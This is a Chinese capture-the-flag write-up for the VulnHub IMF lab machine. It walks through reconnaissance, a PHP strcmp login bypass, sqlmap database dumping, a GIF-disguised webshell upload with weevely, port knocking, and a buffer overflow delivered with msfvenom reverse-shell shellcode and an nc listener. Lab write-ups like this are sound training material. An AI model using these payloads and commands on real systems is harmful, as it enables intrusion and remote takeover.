VuInHub之imf靶机

1.信息收集

1.主机发现

因为靶机与宿主机在同一网段,所以用二级扫描来发现靶机ip  arp-scan -l

发现目标主机 192.168.170.59

2.端口扫描

nmap -sC -sV -O 192.168.170.59

//-sC常见漏洞脚本扫描 -sV开放端口服务/版本号 -O操作系统探测

发现就开了一个80端口

3.访问web服务

点击如图选项

右击查看源代码发现第一个flag flag1{YWxsdGhlZmlsZXM=}

易知是base64编码进行解码 得到字符串:allthefiles

点击首页第一个选项查看源码,这三段有点像base64编码

这三段进行拼接 ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==

base64解码

得到 flag2{aW1mYWRtaW5pc3RyYXRvcg==}

再进行解码 得到 imfadministrator

访问一下imfadministrator路径,发现是一个登陆界面

查看网页源码

随便输入用户名和密码,点登录,页面回显提示:“无效的用户名”

使用第一个用户名(rmichaels)登录时,发现页面回显变成了“无效的密码”,说明我们的用户名是正确的

既然知道了正确的用户名,就可以使用burpsuite抓包爆破出密码,右键,选择转发到Intruder
但是抓包爆破密码太慢了我们选择放弃

2.漏洞利用

burp抓包进行绕过
这里参考代码php strcmp比较字符串绕过:字符串和数组进行比较

a的输入为非字符串类型数据,就会报错,自动return 0
我们可以将pass以数组的方式传输数据,使其报错。//pass后面加上[]
得到flag3{Y29udGludWVUT2Ntcw==}

进行解码 continueTOcms

关闭抓包,页面跳转到如下界面

点击IMF CMS进入新的页面

在url地址栏加单引号测试下,发现有报错回显,说明存在sql注入漏洞

看了大佬的打法 : 发现这里因为是基于登录之后的sql注入,所以使用sqlmap需要加上cookie值
所以我们先抓包记录一下cooike值:PHPSESSID=cfffkp2kd0lhqj3u54ina62911

直接上sqlmap,获取数据库名:

sqlmap -o -u "http://192.168.170.59/imfadministrator/cms.php?pagename=home" --
cookie="PHPSESSID=cfffkp2kd0lhqj3u54ina62911" --batch -dbs

o: 表示将结果输出到文件。
-u 指定目标 URL,即待测试的网址。
--cookie="PHPSESSID=76gll2kk80bthftu7adt9re7g2": 指定了 HTTP 请求中的 Cookie 信息,这是为
了在测试中保持用户的身份验证状态。
--batch: 设置 SQLMap 在运行时遇到多个可能性时自动选择默认选项,而不需要用户交互。
-dbs: 表示检测数据库名称。

获取admin数据库的表名,发现里面只有一个pages表

sqlmap -o -u "http://192.168.170.59/imfadministrator/cms.php?pagename=home" --
cookie="PHPSESSID=cfffkp2kd0lhqj3u54ina62911" --batch -D admin -tables

获取pages表里面的全部内容:
sqlmap -o -u "http://192.168.170.59/imfadministrator/cms.php?pagename=home" --
cookie="PHPSESSID=cfffkp2kd0lhqj3u54ina62911" --batch -D admin -T pages --dump

访问一下上面这两个图片路径,有一个二维码

手机扫一下 flag4{dXBsb2Fkcjk0Mi5waHA=}

解码 发现是一个php页面 uploadr942.php

进行访问 发现是文件上传的页面

制作一个图片马1.gif,其中GIF89a是 GIF 图片文件的文件头:

GIF89a

上传这个1.gif文件,显示上传成功

查看一下网页源码,发现上传的文件名被改了

访问此路径 发现成功 http://192.168.170.59/imfadministrator/uploads/ca5c4475a969.gif

接下来我们制作一个webshell的图片马

利用和上面相同的方法上传,访问如下路径,发现flag5
http://192.168.170.59/imfadministrator/uploads/2a596597bca9.gif?a=ls

获取得flag5{YWdlbnRzZXJ2aWNlcw==} 然后解码得 agentservices


3.获取目标靶机shell

我们可以使用kali中自带的weevely工具生成php文件,然后把php文件合并至gif图片中,随后进行上传
命令:weevely generate jesse 111.php
使用 Weevely 工具生成一个名为 111.php 的 Web Shell 文件,并设置密码为 jesse。

将生成的111.php文件后缀改为.gif,随意添加GIF数值

上传这个111.gif木马文件 上传成功

查看网页源码,记录下这个被修改后的文件名

b45aa6489ed5

用weevely工具连接木马文件:

weevely http://192.168.170.59/imfadministrator/uploads/b45aa6489ed5.gif jesse
成功获取靶机shell

此时也能看到flag5 验证那一步的合理性

4.提权

查看一下系统版本:lsb_release -a

发现是16.04的ubuntu

根据提示查找文件
find / -name agent &>2/dev/unull

在/usr/local/bin目录发现提示的信息,agent文件

查看agent发现是ELF 32位执行文件

用cat命令查看access_codes,发现提示SYN 7482,8279,9467
这边提示端口试探,我们可以使用knock命令试探一下knock -v 192.168.0.154 7482 8279 9467发现不好敲

然后直接用nmap敲端口

连接一下7788端口,发现需要输入正确的id

我们先将agent文件下载到本地然后再分析
命令:file_download /usr/local/bin/agent /home/kali/桌面/2/agent

找到目录 加权

命令:ltrace./agent

随便输入yyyyy爆出真实id 48093572

再次执行输入正确ID有三个选项

然后构造payload
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.170.20 LPORT=4489 -b "\x00\x0a\x0" -f
python -o /home/kali/桌面/2/k.py //这里LHOST是本机地址

进行查看

生成这段shellcode之后,我们需要编写一个缓冲区溢出漏洞sploit的exp,我这边是直接在github上找了
大佬写好的exp

红色代码替换成上述代码即可

开启监听 nc -lvvp 4489

使用exp和对应的shellcode对7788服务器进行缓冲区溢出攻击
python2 3.py 192.168.170.59 7788

拿到最后一个flag flag6{R2gwc3RQcm90MGMwbHM=}
解密 Gh0stProt0c0ls 意为幽灵协议

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值